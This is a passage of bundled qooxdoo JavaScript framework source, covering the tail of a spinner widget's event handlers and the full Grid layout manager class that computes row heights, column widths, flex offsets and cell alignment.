e.stopPropagation(); e.preventDefault(); }, /** * Callback for "keyUp" event.<br/> * Detecting "Up"/"Down" and "PageUp"/"PageDown" keys.<br/> * Releases the button and disabled the page mode, if necessary. * * @param e {qx.event.type.KeySequence} keyUp event * @return {void} */ _onKeyUp: function(e) { switch(e.getKeyIdentifier()) { case "PageUp": this.getChildControl("upbutton").release(); this.__pageUpMode = false; break; case "Up": this.getChildControl("upbutton").release(); break; case "PageDown": this.getChildControl("downbutton").release(); this.__pageDownMode = false; break; case "Down": this.getChildControl("downbutton").release(); break; } }, /* --------------------------------------------------------------------------- OTHER EVENT HANDLERS --------------------------------------------------------------------------- */ /** * Callback method for the "mouseWheel" event.<br/> * Increments or decrements the value of the spinner. * * @param e {qx.event.type.Mouse} mouseWheel event */ _onMouseWheel: function(e) { var delta = e.getWheelDelta("y"); if (delta > 0) { this._countDown(); } else if (delta < 0) { this._countUp(); } e.stop(); }, /** * Callback method for the "change" event of the textfield. * * @param e {qx.event.type.Event} text change event or blur event */ _onTextChange : function(e) { var textField = this.getChildControl("textfield"); var value; // if a number format is set if (this.getNumberFormat()) { // try to parse the current number using the number format try { value = this.getNumberFormat().parse(textField.getValue()); } catch(ex) { // otherwise, process further } } if (value === undefined) { // try to parse the number as a float value = parseFloat(textField.getValue()); } // if the result is a number if (!isNaN(value)) { // Fix range if (value > this.getMaximum()) { textField.setValue(this.getMaximum() + ""); return; } else if (value < this.getMinimum()) { textField.setValue(this.getMinimum() + ""); return; } // set the value in the spinner this.setValue(value); } else { // otherwise, reset the last valid value this._applyValue(this.__lastValidValue, undefined); } }, /** * Callback method for the locale Manager's "changeLocale" event. * * @param ev {qx.event.type.Event} locale change event */ _onChangeLocale : function(ev) { if (this.getNumberFormat() !== null) { this.setNumberFormat(this.getNumberFormat()); var textfield = this.getChildControl("textfield"); textfield.setFilter(this._getFilterRegExp()); textfield.setValue(this.getNumberFormat().format(this.getValue())); } }, /** * Callback method for the number format's "changeNumberFormat" event. * * @param ev {qx.event.type.Event} number format change event */ _onChangeNumberFormat : function(ev) { var textfield = this.getChildControl("textfield"); textfield.setFilter(this._getFilterRegExp()); textfield.setValue(this.getNumberFormat().format(this.getValue())); }, /* --------------------------------------------------------------------------- INTERVAL HANDLING --------------------------------------------------------------------------- */ /** * Checks if the spinner is in page mode and counts either the single * or page Step up. * */ _countUp: function() { if (this.__pageUpMode) { var newValue = this.getValue() + this.getPageStep(); } else { var newValue = this.getValue() + this.getSingleStep(); } // handle the case where wrapping is enabled if (this.getWrap()) { if (newValue > this.getMaximum()) { var diff = this.getMaximum() - newValue; newValue = this.getMinimum() + diff; } } this.gotoValue(newValue); }, /** * Checks if the spinner is in page mode and counts either the single * or page Step down. * */ _countDown: function() { if (this.__pageDownMode) { var newValue = this.getValue() - this.getPageStep(); } else { var newValue = this.getValue() - this.getSingleStep(); } // handle the case where wrapping is enabled if (this.getWrap()) { if (newValue < this.getMinimum()) { var diff = this.getMinimum() + newValue; newValue = this.getMaximum() - diff; } } this.gotoValue(newValue); }, /** * Normalizes the incoming value to be in the valid range and * applies it to the {@link #value} afterwards. * * @param value {Number} Any number * @return {Number} The normalized number */ gotoValue : function(value) { return this.setValue(Math.min(this.getMaximum(), Math.max(this.getMinimum(), value))); } }, destruct : function() { if (qx.core.Environment.get("qx.dynlocale")) { qx.locale.Manager.getInstance().removeListener("changeLocale", this._onChangeLocale, this); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * The grid layout manager arranges the items in a two dimensional * grid. Widgets can be placed into the grid's cells and may span multiple rows * and columns. * * *Features* * * * Flex values for rows and columns * * Minimal and maximal column and row sizes * * Manually setting of column and row sizes * * Horizontal and vertical alignment * * Horizontal and vertical spacing * * Column and row spans * * Auto-sizing * * *Item Properties* * * <ul> * <li><strong>row</strong> <em>(Integer)</em>: The row of the cell the * widget should occupy. Each cell can only contain one widget. This layout * property is mandatory. * </li> * <li><strong>column</strong> <em>(Integer)</em>: The column of the cell the * widget should occupy. Each cell can only contain one widget. This layout * property is mandatory. * </li> * <li><strong>rowSpan</strong> <em>(Integer)</em>: The number of rows, the * widget should span, starting from the row specified in the <code>row</code> * property. The cells in the spanned rows must be empty as well. * </li> * <li><strong>colSpan</strong> <em>(Integer)</em>: The number of columns, the * widget should span, starting from the column specified in the <code>column</code> * property. The cells in the spanned columns must be empty as well. * </li> * </ul> * * *Example* * * Here is a little example of how to use the grid layout. * * <pre class="javascript"> * var layout = new qx.ui.layout.Grid(); * layout.setRowFlex(0, 1); // make row 0 flexible * layout.setColumnWidth(1, 200); // set with of column 1 to 200 pixel * * var container = new qx.ui.container.Composite(layout); * container.add(new qx.ui.core.Widget(), {row: 0, column: 0}); * container.add(new qx.ui.core.Widget(), {row: 0, column: 1}); * container.add(new qx.ui.core.Widget(), {row: 1, column: 0, rowSpan: 2}); * </pre> * * *External Documentation* * * <a href='http://manual.qooxdoo.org/${qxversion}/pages/layout/grid.html'> * Extended documentation</a> and links to demos of this layout in the qooxdoo manual. */ qx.Class.define("qx.ui.layout.Grid", { extend : qx.ui.layout.Abstract, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param spacingX {Integer?0} The horizontal spacing between grid cells. * Sets {@link #spacingX}. * @param spacingY {Integer?0} The vertical spacing between grid cells. * Sets {@link #spacingY}. */ construct : function(spacingX, spacingY) { this.base(arguments); this.__rowData = []; this.__colData = []; if (spacingX) { this.setSpacingX(spacingX); } if (spacingY) { this.setSpacingY(spacingY); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * The horizontal spacing between grid cells. */ spacingX : { check : "Integer", init : 0, apply : "_applyLayoutChange" }, /** * The vertical spacing between grid cells. */ spacingY : { check : "Integer", init : 0, apply : "_applyLayoutChange" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { /** {Array} 2D array of grid cell data */ __grid : null, __rowData : null, __colData : null, __colSpans : null, __rowSpans : null, __maxRowIndex : null, __maxColIndex : null, /** {Array} cached row heights */ __rowHeights : null, /** {Array} cached column widths */ __colWidths : null, // overridden verifyLayoutProperty : qx.core.Environment.select("qx.debug", { "true" : function(item, name, value) { var layoutProperties = { "row" : 1, "column" : 1, "rowSpan" : 1, "colSpan" : 1 } this.assert(layoutProperties[name] == 1, "The property '"+name+"' is not supported by the Grid layout!"); this.assertInteger(value); this.assert(value >= 0, "Value must be positive"); }, "false" : null }), /** * Rebuild the internal representation of the grid */ __buildGrid : function() { var grid = []; var colSpans = []; var rowSpans = []; var maxRowIndex = -1; var maxColIndex = -1; var children = this._getLayoutChildren(); for (var i=0,l=children.length; i<l; i++) { var child = children[i]; var props = child.getLayoutProperties(); var row = props.row; var column = props.column; props.colSpan = props.colSpan || 1; props.rowSpan = props.rowSpan || 1; // validate arguments if (row == null || column == null) { throw new Error( "The layout properties 'row' and 'column' of the child widget '" + child + "' must be defined!" ); } if (grid[row] && grid[row][column]) { throw new Error( "Cannot add widget '" + child + "'!. " + "There is already a widget '" + grid[row][column] + "' in this cell (" + row + ", " + column + ") for '" + this + "'" ); } for (var x=column; x<column+props.colSpan; x++) { for (var y=row; y<row+props.rowSpan; y++) { if (grid[y] == undefined) { grid[y] = []; } grid[y][x] = child; maxColIndex = Math.max(maxColIndex, x); maxRowIndex = Math.max(maxRowIndex, y); } } if (props.rowSpan > 1) { rowSpans.push(child); } if (props.colSpan > 1) { colSpans.push(child); } } // make sure all columns are defined so that accessing the grid using // this.__grid[column][row] will never raise an exception for (var y=0; y<=maxRowIndex; y++) { if (grid[y] == undefined) { grid[y] = []; } } this.__grid = grid; this.__colSpans = colSpans; this.__rowSpans = rowSpans; this.__maxRowIndex = maxRowIndex; this.__maxColIndex = maxColIndex; this.__rowHeights = null; this.__colWidths = null; // Clear invalidation marker delete this._invalidChildrenCache; }, /** * Stores data for a grid row * * @param row {Integer} The row index * @param key {String} The key under which the data should be stored * @param value {var} data to store */ _setRowData : function(row, key, value) { var rowData = this.__rowData[row]; if (!rowData) { this.__rowData[row] = {}; this.__rowData[row][key] = value; } else { rowData[key] = value; } }, /** * Stores data for a grid column * * @param column {Integer} The column index * @param key {String} The key under which the data should be stored * @param value {var} data to store */ _setColumnData : function(column, key, value) { var colData = this.__colData[column]; if (!colData) { this.__colData[column] = {}; this.__colData[column][key] = value; } else { colData[key] = value; } }, /** * Shortcut to set both horizontal and vertical spacing between grid cells * to the same value. * * @param spacing {Integer} new horizontal and vertical spacing * @return {qx.ui.layout.Grid} This object (for chaining support). */ setSpacing : function(spacing) { this.setSpacingY(spacing); this.setSpacingX(spacing); return this; }, /** * Set the default cell alignment for a column. This alignment can be * overridden on a per cell basis by setting the cell's content widget's * <code>alignX</code> and <code>alignY</code> properties. * * If on a grid cell both row and a column alignment is set, the horizontal * alignment is taken from the column and the vertical alignment is taken * from the row. * * @param column {Integer} Column index * @param hAlign {String} The horizontal alignment. Valid values are * "left", "center" and "right". * @param vAlign {String} The vertical alignment. Valid values are * "top", "middle", "bottom" * @return {qx.ui.layout.Grid} This object (for chaining support) */ setColumnAlign : function(column, hAlign, vAlign) { if (qx.core.Environment.get("qx.debug")) { this.assertInteger(column, "Invalid parameter 'column'"); this.assertInArray(hAlign, ["left", "center", "right"]); this.assertInArray(vAlign, ["top", "middle", "bottom"]); } this._setColumnData(column, "hAlign", hAlign); this._setColumnData(column, "vAlign", vAlign); this._applyLayoutChange(); return this; }, /** * Get a map of the column's alignment. * * @param column {Integer} The column index * @return {Map} A map with the keys <code>vAlign</code> and <code>hAlign</code> * containing the vertical and horizontal column alignment. */ getColumnAlign : function(column) { var colData = this.__colData[column] || {}; return { vAlign : colData.vAlign || "top", hAlign : colData.hAlign || "left" }; }, /** * Set the default cell alignment for a row. This alignment can be * overridden on a per cell basis by setting the cell's content widget's * <code>alignX</code> and <code>alignY</code> properties. * * If on a grid cell both row and a column alignment is set, the horizontal * alignment is taken from the column and the vertical alignment is taken * from the row. * * @param row {Integer} Row index * @param hAlign {String} The horizontal alignment. Valid values are * "left", "center" and "right". * @param vAlign {String} The vertical alignment. Valid values are * "top", "middle", "bottom" * @return {qx.ui.layout.Grid} This object (for chaining support) */ setRowAlign : function(row, hAlign, vAlign) { if (qx.core.Environment.get("qx.debug")) { this.assertInteger(row, "Invalid parameter 'row'"); this.assertInArray(hAlign, ["left", "center", "right"]); this.assertInArray(vAlign, ["top", "middle", "bottom"]); } this._setRowData(row, "hAlign", hAlign); this._setRowData(row, "vAlign", vAlign); this._applyLayoutChange(); return this; }, /** * Get a map of the row's alignment. * * @param row {Integer} The Row index * @return {Map} A map with the keys <code>vAlign</code> and <code>hAlign</code> * containing the vertical and horizontal row alignment. */ getRowAlign : function(row) { var rowData = this.__rowData[row] || {}; return { vAlign : rowData.vAlign || "top", hAlign : rowData.hAlign || "left" }; }, /** * Get the widget located in the cell. If a the cell is empty or the widget * has a {@link qx.ui.core.Widget#visibility} value of <code>exclude</code>, * <code>null</code> is returned. * * @param row {Integer} The cell's row index * @param column {Integer} The cell's column index * @return {qx.ui.core.Widget|null}The cell's widget. The value may be null. */ getCellWidget : function(row, column) { if (this._invalidChildrenCache) { this.__buildGrid(); } var row = this.__grid[row] || {}; return row[column] || null; }, /** * Get the number of rows in the grid layout. * * @return {Integer} The number of rows in the layout */ getRowCount : function() { if (this._invalidChildrenCache) { this.__buildGrid(); } return this.__maxRowIndex + 1; }, /** * Get the number of columns in the grid layout. * * @return {Integer} The number of columns in the layout */ getColumnCount : function() { if (this._invalidChildrenCache) { this.__buildGrid(); } return this.__maxColIndex + 1; }, /** * Get a map of the cell's alignment. For vertical alignment the row alignment * takes precedence over the column alignment. For horizontal alignment it is * the over way round. If an alignment is set on the cell widget using * {@link qx.ui.core.LayoutItem#setLayoutProperties}, this alignment takes * always precedence over row or column alignment. * * @param row {Integer} The cell's row index * @param column {Integer} The cell's column index * @return {Map} A map with the keys <code>vAlign</code> and <code>hAlign</code> * containing the vertical and horizontal cell alignment. */ getCellAlign : function(row, column) { var vAlign = "top"; var hAlign = "left"; var rowData = this.__rowData[row]; var colData = this.__colData[column]; var widget = this.__grid[row][column]; if (widget) { var widgetProps = { vAlign : widget.getAlignY(), hAlign : widget.getAlignX() } } else { widgetProps = {}; } // compute vAlign // precedence : widget -> row -> column if (widgetProps.vAlign) { vAlign = widgetProps.vAlign; } else if (rowData && rowData.vAlign) { vAlign = rowData.vAlign; } else if (colData && colData.vAlign) { vAlign = colData.vAlign; } // compute hAlign // precedence : widget -> column -> row if (widgetProps.hAlign) { hAlign = widgetProps.hAlign; } else if (colData && colData.hAlign) { hAlign = colData.hAlign; } else if (rowData && rowData.hAlign) { hAlign = rowData.hAlign; } return { vAlign : vAlign, hAlign : hAlign } }, /** * Set the flex value for a grid column. * By default the column flex value is <code>0</code>. * * @param column {Integer} The column index * @param flex {Integer} The column's flex value * @return {qx.ui.layout.Grid} This object (for chaining support) */ setColumnFlex : function(column, flex) { this._setColumnData(column, "flex", flex); this._applyLayoutChange(); return this; }, /** * Get the flex value of a grid column. * * @param column {Integer} The column index * @return {Integer} The column's flex value */ getColumnFlex : function(column) { var colData = this.__colData[column] || {}; return colData.flex !== undefined ? colData.flex : 0; }, /** * Set the flex value for a grid row. * By default the row flex value is <code>0</code>. * * @param row {Integer} The row index * @param flex {Integer} The row's flex value * @return {qx.ui.layout.Grid} This object (for chaining support) */ setRowFlex : function(row, flex) { this._setRowData(row, "flex", flex); this._applyLayoutChange(); return this; }, /** * Get the flex value of a grid row. * * @param row {Integer} The row index * @return {Integer} The row's flex value */ getRowFlex : function(row) { var rowData = this.__rowData[row] || {}; var rowFlex = rowData.flex !== undefined ? rowData.flex : 0 return rowFlex; }, /** * Set the maximum width of a grid column. * The default value is <code>Infinity</code>. * * @param column {Integer} The column index * @param maxWidth {Integer} The column's maximum width * @return {qx.ui.layout.Grid} This object (for chaining support) */ setColumnMaxWidth : function(column, maxWidth) { this._setColumnData(column, "maxWidth", maxWidth); this._applyLayoutChange(); return this; }, /** * Get the maximum width of a grid column. * * @param column {Integer} The column index * @return {Integer} The column's maximum width */ getColumnMaxWidth : function(column) { var colData = this.__colData[column] || {}; return colData.maxWidth !== undefined ? colData.maxWidth : Infinity; }, /** * Set the preferred width of a grid column. * The default value is <code>Infinity</code>. * * @param column {Integer} The column index * @param width {Integer} The column's width * @return {qx.ui.layout.Grid} This object (for chaining support) */ setColumnWidth : function(column, width) { this._setColumnData(column, "width", width); this._applyLayoutChange(); return this; }, /** * Get the preferred width of a grid column. * * @param column {Integer} The column index * @return {Integer} The column's width */ getColumnWidth : function(column) { var colData = this.__colData[column] || {}; return colData.width !== undefined ? colData.width : null; }, /** * Set the minimum width of a grid column. * The default value is <code>0</code>. * * @param column {Integer} The column index * @param minWidth {Integer} The column's minimum width * @return {qx.ui.layout.Grid} This object (for chaining support) */ setColumnMinWidth : function(column, minWidth) { this._setColumnData(column, "minWidth", minWidth); this._applyLayoutChange(); return this; }, /** * Get the minimum width of a grid column. * * @param column {Integer} The column index * @return {Integer} The column's minimum width */ getColumnMinWidth : function(column) { var colData = this.__colData[column] || {}; return colData.minWidth || 0; }, /** * Set the maximum height of a grid row. * The default value is <code>Infinity</code>. * * @param row {Integer} The row index * @param maxHeight {Integer} The row's maximum width * @return {qx.ui.layout.Grid} This object (for chaining support) */ setRowMaxHeight : function(row, maxHeight) { this._setRowData(row, "maxHeight", maxHeight); this._applyLayoutChange(); return this; }, /** * Get the maximum height of a grid row. * * @param row {Integer} The row index * @return {Integer} The row's maximum width */ getRowMaxHeight : function(row) { var rowData = this.__rowData[row] || {}; return rowData.maxHeight || Infinity; }, /** * Set the preferred height of a grid row. * The default value is <code>Infinity</code>. * * @param row {Integer} The row index * @param height {Integer} The row's width * @return {qx.ui.layout.Grid} This object (for chaining support) */ setRowHeight : function(row, height) { this._setRowData(row, "height", height); this._applyLayoutChange(); return this; }, /** * Get the preferred height of a grid row. * * @param row {Integer} The row index * @return {Integer} The row's width */ getRowHeight : function(row) { var rowData = this.__rowData[row] || {}; return rowData.height !== undefined ? rowData.height : null; }, /** * Set the minimum height of a grid row. * The default value is <code>0</code>. * * @param row {Integer} The row index * @param minHeight {Integer} The row's minimum width * @return {qx.ui.layout.Grid} This object (for chaining support) */ setRowMinHeight : function(row, minHeight) { this._setRowData(row, "minHeight", minHeight); this._applyLayoutChange(); return this; }, /** * Get the minimum height of a grid row. * * @param row {Integer} The row index * @return {Integer} The row's minimum width */ getRowMinHeight : function(row) { var rowData = this.__rowData[row] || {}; return rowData.minHeight || 0; }, /** * Computes the widget's size hint including the widget's margins * * @param widget {qx.ui.core.LayoutItem} The widget to get the size for * @return {Map} a size hint map */ __getOuterSize : function(widget) { var hint = widget.getSizeHint(); var hMargins = widget.getMarginLeft() + widget.getMarginRight(); var vMargins = widget.getMarginTop() + widget.getMarginBottom(); var outerSize = { height: hint.height + vMargins, width: hint.width + hMargins, minHeight: hint.minHeight + vMargins, minWidth: hint.minWidth + hMargins, maxHeight: hint.maxHeight + vMargins, maxWidth: hint.maxWidth + hMargins } return outerSize; }, /** * Check whether all row spans fit with their preferred height into the * preferred row heights. If there is not enough space, the preferred * row sizes are increased. The distribution respects the flex and max * values of the rows. * * The same is true for the min sizes. * * The height array is modified in place. * * @param rowHeights {Map[]} The current row height array as computed by * {@link #_getRowHeights}. */ _fixHeightsRowSpan : function(rowHeights) { var vSpacing = this.getSpacingY(); for (var i=0, l=this.__rowSpans.length; i<l; i++) { var widget = this.__rowSpans[i]; var hint = this.__getOuterSize(widget); var widgetProps = widget.getLayoutProperties(); var widgetRow = widgetProps.row; var prefSpanHeight = vSpacing * (widgetProps.rowSpan - 1); var minSpanHeight = prefSpanHeight; var rowFlexes = {}; for (var j=0; j<widgetProps.rowSpan; j++) { var row = widgetProps.row+j; var rowHeight = rowHeights[row]; var rowFlex = this.getRowFlex(row); if (rowFlex > 0) { // compute flex array for the preferred height rowFlexes[row] = { min : rowHeight.minHeight, value : rowHeight.height, max : rowHeight.maxHeight, flex: rowFlex }; } prefSpanHeight += rowHeight.height; minSpanHeight += rowHeight.minHeight; } // If there is not enough space for the preferred size // increment the preferred row sizes. if (prefSpanHeight < hint.height) { if (!qx.lang.Object.isEmpty(rowFlexes)) { var rowIncrements = qx.ui.layout.Util.computeFlexOffsets( rowFlexes, hint.height, prefSpanHeight ); for (var k=0; k<widgetProps.rowSpan; k++) { var offset = rowIncrements[widgetRow+k] ? rowIncrements[widgetRow+k].offset : 0; rowHeights[widgetRow+k].height += offset; } // row is too small and we have no flex value set } else { var totalSpacing = vSpacing * (widgetProps.rowSpan - 1); var availableHeight = hint.height - totalSpacing; // get the row height which every child would need to share the // available hight equally var avgRowHeight = Math.floor(availableHeight / widgetProps.rowSpan); // get the hight already used and the number of children which do // not have at least that avg row height var usedHeight = 0; var rowsNeedAddition = 0; for (var k = 0; k < widgetProps.rowSpan; k++) { var currentHeight = rowHeights[widgetRow + k].height; usedHeight += currentHeight; if (currentHeight < avgRowHeight) { rowsNeedAddition++; } } // the difference of available and used needs to be shared among // those not having the min size var additionalRowHeight = Math.floor((availableHeight - usedHeight) / rowsNeedAddition); // add the extra height to the too small children for (var k = 0; k < widgetProps.rowSpan; k++) { if (rowHeights[widgetRow + k].height < avgRowHeight) { rowHeights[widgetRow + k].height += additionalRowHeight; } } } } // If there is not enough space for the min size // increment the min row sizes. if (minSpanHeight < hint.minHeight) { var rowIncrements = qx.ui.layout.Util.computeFlexOffsets( rowFlexes, hint.minHeight, minSpanHeight ); for (var j=0; j<widgetProps.rowSpan; j++) { var offset = rowIncrements[widgetRow+j] ? rowIncrements[widgetRow+j].offset : 0; rowHeights[widgetRow+j].minHeight += offset; } } } }, /** * Check whether all col spans fit with their preferred width into the * preferred column widths. If there is not enough space the preferred * column sizes are increased. The distribution respects the flex and max * values of the columns. * * The same is true for the min sizes. * * The width array is modified in place. * * @param colWidths {Map[]} The current column width array as computed by * {@link #_getColWidths}. */ _fixWidthsColSpan : function(colWidths) { var hSpacing = this.getSpacingX(); for (var i=0, l=this.__colSpans.length; i<l; i++) { var widget = this.__colSpans[i]; var hint = this.__getOuterSize(widget); var widgetProps = widget.getLayoutProperties(); var widgetColumn = widgetProps.column; var prefSpanWidth = hSpacing * (widgetProps.colSpan - 1); var minSpanWidth = prefSpanWidth; var colFlexes = {}; var offset; for (var j=0; j<widgetProps.colSpan; j++) { var col = widgetProps.column+j; var colWidth = colWidths[col]; var colFlex = this.getColumnFlex(col); // compute flex array for the preferred width if (colFlex > 0) { colFlexes[col] = { min : colWidth.minWidth, value : colWidth.width, max : colWidth.maxWidth, flex: colFlex }; } prefSpanWidth += colWidth.width; minSpanWidth += colWidth.minWidth; } // If there is not enought space for the preferred size // increment the preferred column sizes. if (prefSpanWidth < hint.width) { var colIncrements = qx.ui.layout.Util.computeFlexOffsets( colFlexes, hint.width, prefSpanWidth ); for (var j=0; j<widgetProps.colSpan; j++) { offset = colIncrements[widgetColumn+j] ? colIncrements[widgetColumn+j].offset : 0; colWidths[widgetColumn+j].width += offset; } } // If there is not enought space for the min size // increment the min column sizes. if (minSpanWidth < hint.minWidth) { var colIncrements = qx.ui.layout.Util.computeFlexOffsets( colFlexes, hint.minWidth, minSpanWidth ); for (var j=0; j<widgetProps.colSpan; j++) { offset = colIncrements[widgetColumn+j] ? colIncrements[widgetColumn+j].offset : 0; colWidths[widgetColumn+j].minWidth += offset; } } } }, /** * Compute the min/pref/max row heights. * * @return {Map[]} An array containg height information for each row. The * entries have the keys <code>minHeight</code>, <code>maxHeight</code> and * <code>height</code>. */ _getRowHeights : function() { if (this.__rowHeights != null) { return this.__rowHeights; } var rowHeights = []; var maxRowIndex = this.__maxRowIndex; var maxColIndex = this.__maxColIndex; for (var row=0; row<=maxRowIndex; row++) { var minHeight = 0; var height = 0; var maxHeight = 0; for (var col=0; col<=maxColIndex; col++) { var widget = this.__grid[row][col]; if (!widget) { continue; } // ignore rows with row spans at this place // these rows will be taken into account later var widgetRowSpan = widget.getLayoutProperties().rowSpan || 0; if (widgetRowSpan > 1) { continue; } var cellSize = this.__getOuterSize(widget); if (this.getRowFlex(row) > 0) { minHeight = Math.max(minHeight, cellSize.minHeight); } else { minHeight = Math.max(minHeight, cellSize.height); } height = Math.max(height, cellSize.height); } var minHeight = Math.max(minHeight, this.getRowMinHeight(row)); var maxHeight = this.getRowMaxHeight(row); if (this.getRowHeight(row) !== null) { var height = this.getRowHeight(row); } else { var height = Math.max(minHeight, Math.min(height, maxHeight)); } rowHeights[row] = { minHeight : minHeight, height : height, maxHeight : maxHeight }; } if (this.__rowSpans.length > 0) { this._fixHeightsRowSpan(rowHeights); } this.__rowHeights = rowHeights; return rowHeights; }, /** * Compute the min/pref/max column widths. * * @return {Map[]} An array containg width information for each column. The * entries have the keys <code>minWidth</code>, <code>maxWidth</code> and * <code>width</code>. */ _getColWidths : function() { if (this.__colWidths != null) { return this.__colWidths; } var colWidths = []; var maxColIndex = this.__maxColIndex; var maxRowIndex = this.__maxRowIndex; for (var col=0; col<=maxColIndex; col++) { var width = 0; var minWidth = 0; var maxWidth = Infinity; for (var row=0; row<=maxRowIndex; row++) { var widget = this.__grid[row][col]; if (!widget) { continue; } // ignore columns with col spans at this place // these columns will be taken into account later var widgetColSpan = widget.getLayoutProperties().colSpan || 0; if (widgetColSpan > 1) { continue; } var cellSize = this.__getOuterSize(widget); if (this.getColumnFlex(col) > 0) { minWidth = Math.max(minWidth, cellSize.minWidth); } else { minWidth = Math.max(minWidth, cellSize.width); } width = Math.max(width, cellSize.width); } minWidth = Math.max(minWidth, this.getColumnMinWidth(col)); maxWidth = this.getColumnMaxWidth(col); if (this.getColumnWidth(col) !== null) { var width = this.getColumnWidth(col); } else { var width = Math.max(minWidth, Math.min(width, maxWidth)); } colWidths[col] = { minWidth: minWidth, width : width, maxWidth : maxWidth }; } if (this.__colSpans.length > 0) { this._fixWidthsColSpan(colWidths); } this.__colWidths = colWidths; return colWidths; }, /** * Computes for each column by how many pixels it must grow or shrink, taking * the column flex values and min/max widths into account. * * @param width {Integer} The grid width * @return {Integer[]} Sparse array of offsets to add to each column width. If * an array entry is empty nothing should be added to the column. */ _getColumnFlexOffsets : function(width) { var hint = this.getSizeHint(); var diff = width - hint.width; if (diff == 0) { return {}; } // collect all flexible children var colWidths = this._getColWidths(); var flexibles = {}; for (var i=0, l=colWidths.length; i<l; i++) { var col = colWidths[i]; var colFlex = this.getColumnFlex(i); if ( (colFlex <= 0) || (col.width == col.maxWidth && diff > 0) || (col.width == col.minWidth && diff < 0) ) { continue; } flexibles[i] ={ min : col.minWidth, value : col.width, max : col.maxWidth, flex : colFlex }; } return qx.ui.layout.Util.computeFlexOffsets(flexibles, width, hint.width); }, /** * Computes for each row by how many pixels it must grow or shrink, taking * the row flex values and min/max heights into account. * * @param height {Integer} The grid height * @return {Integer[]} Sparse array of offsets to add to each row height. If * an array entry is empty nothing should be added to the row. */ _getRowFlexOffsets : function(height) { var hint = this.getSizeHint(); var diff = height - hint.height; if (diff == 0) { return {}; } // collect all flexible children var rowHeights = this._getRowHeights(); var flexibles = {}; for (var i=0, l=rowHeights.length; i<l; i++) { var row = rowHeights[i]; var rowFlex = this.getRowFlex(i); if ( (rowFlex <= 0) || (row.height == row.maxHeight && diff > 0) || (row.height == row.minHeight && diff < 0) ) { continue; } flexibles[i] = { min : row.minHeight, value : row.height, max : row.maxHeight, flex : rowFlex }; } return qx.ui.layout.Util.computeFlexOffsets(flexibles, height, hint.height); }, // overridden renderLayout : function(availWidth, availHeight) { if (this._invalidChildrenCache) { this.__buildGrid(); } var Util = qx.ui.layout.Util; var hSpacing = this.getSpacingX(); var vSpacing = this.getSpacingY(); // calculate column widths var prefWidths = this._getColWidths(); var colStretchOffsets = this._getColumnFlexOffsets(availWidth); var colWidths = []; var maxColIndex = this.__maxColIndex; var maxRowIndex = this.__maxRowIndex; var offset; for (var col=0; col<=maxColIndex; col++) { offset = colStretchOffsets[col] ? colStretchOffsets[col].offset : 0; colWidths[col] = prefWidths[col].width + offset; } // calculate row heights var prefHeights = this._getRowHeights(); var rowStretchOffsets = this._getRowFlexOffsets(availHeight); var rowHeights = []; for (var row=0; row<=maxRowIndex; row++) { offset = rowStretchOffsets[row] ? rowStretchOffsets[row].offset : 0; rowHeights[row] = prefHeights[row].height + offset; } // do the layout var left = 0; for (var col=0; col<=maxColIndex; col++) { var top = 0; for (var row=0; row<=maxRowIndex; row++) { var widget = this.__grid[row][col]; // ignore empty cells if (!widget) { top += rowHeights[row] + vSpacing; continue; } var widgetProps = widget.getLayoutProperties(); // ignore cells, which have cell spanning but are not the origin // of the widget if(widgetProps.row !== row || widgetProps.column !== col) { top += rowHeights[row] + vSpacing; continue; } // compute sizes width including cell spanning var spanWidth = hSpacing * (widgetProps.colSpan - 1); for (var i=0; i<widgetProps.colSpan; i++) { spanWidth += colWidths[col+i]; } var spanHeight = vSpacing * (widgetProps.rowSpan - 1); for (var i=0; i<widgetProps.rowSpan; i++) { spanHeight += rowHeights[row+i]; } var cellHint = widget.getSizeHint(); var marginTop = widget.getMarginTop(); var marginLeft = widget.getMarginLeft(); var marginBottom = widget.getMarginBottom(); var marginRight = widget.getMarginRight(); var cellWidth = Math.max(cellHint.minWidth, Math.min(spanWidth-marginLeft-marginRight, cellHint.maxWidth)); var cellHeight = Math.max(cellHint.minHeight, Math.min(spanHeight-marginTop-marginBottom, cellHint.maxHeight)); var cellAlign = this.getCellAlign(row, col); var cellLeft = left + Util.computeHorizontalAlignOffset(cellAlign.hAlign, cellWidth, spanWidth, marginLeft, marginRight); var cellTop = top + Util.computeVerticalAlignOffset(cellAlign.vAlign, cellHeight, spanHeight, marginTop, marginBottom); widget.renderLayout( cellLeft, cellTop, cellWidth, cellHeight ); top += rowHeights[row] + vSpacing; } left += colWidths[col] + hSpacing; } }, // overridden invalidateLayoutCache : function() { this.base(arguments); this.__colWidths = null; this.__rowHeights = null; }, // overridden _computeSizeHint : function() { if (this._invalidChildrenCache) { this.__buildGrid(); } // calculate col widths var colWidths = this._getColWidths(); var minWidth=0, width=0; for (var i=0, l=colWidths.length; i<l; i++) { var col = colWidths[i]; if (this.getColumnFlex(i) > 0) { minWidth += col.minWidth; } else { minWidth += col.width; } width += col.width; } // calculate row heights var rowHeights = this._getRowHeights(); var minHeight=0, height=0; for (var i=0, l=rowHeights.length; i<l; i++) { var row = rowHeights[i]; if (this.getRowFlex(i) > 0) { minHeight += row.minHeight; } else { minHeight += row.height; } height += row.height; } var spacingX = this.getSpacingX() * (colWidths.length - 1); var spacingY = this.getSpacingY() * (rowHeights.length - 1); var hint = { minWidth : minWidth + spacingX, width : width + spacingX, minHeight : minHeight + spacingY, height : height + spacingY }; return hint; } }, /* ***************************************************************************** DESTRUCT ***************************************************************************** */ destruct : function() { this.__grid = this.__rowData = this.__colData = this.__colSpans = this.__rowSpans = this.__colWidths = this.__rowHeights = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * This is a basic form field with common functionality for * {@link TextArea} and 